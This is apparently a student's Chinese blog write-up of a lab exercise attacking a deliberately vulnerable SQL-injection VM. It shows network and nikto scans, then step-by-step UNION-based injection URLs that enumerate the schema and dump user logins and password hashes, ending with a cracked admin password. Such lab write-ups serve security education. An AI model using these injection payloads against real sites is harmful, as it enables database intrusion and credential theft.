代码改变世界

实验五

2018-05-02 16:15  温家俊  阅读(223)  评论(0)    收藏  举报

web 攻击靶机解题过程

  1. sql靶机的攻击

1)安装镜像后查看ip地址=192.168.191.139

 

 

(2)键入netdiscover命令对网络进行扫描

 

 

(3)在浏览器中键入目标IP并回车我们点击test看看。

 

 

(4)先用满大街都在讲的在URL后面添加单引号,即192.168.191.139/cat.php?id=1’,页面返回sql查询错误

 

 

(5)接下来祭出神器nikto看看是否存在其他漏洞,在终端键入以下命令:

 

Nikto –h 192.168.191.139

 

注意下面截图中高亮部分,从扫描结果来看网页没有设置X-Content-Type-Option数据头。

 

 

(6)

使用网址http://192.168.191.139/cat.php?id=1 order by 4

 

(7)

使用网址http://192.168.191.139/cat.php?id=1 order by 5

 

 

 

(8)访问http://192.168.191.139/cat.php?id=1%20union%20select%201,database(),3,4

 

 

 

(9) 访问http://192.168.191.139/cat.php?id=-2 union select 1,group_concat(table_name),3,4 from information_schema.tables  where table_schema='photoblog'

 

 

(10)访问http://192.168.191.139/cat.php?id=-2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

 

 

 

(11)访问http://192.168.191.139/cat.php?id=1 login=admin password=8efe310f9ab3efeae8d410a8e0166eb2

 

 

http://192.168.191.139/cat.php?id=-1 union select 1,group_concat(id,0x23,login,0x23,password),3,4 from  users

 

 

(12)md5解密,原密码=P4ssw0rd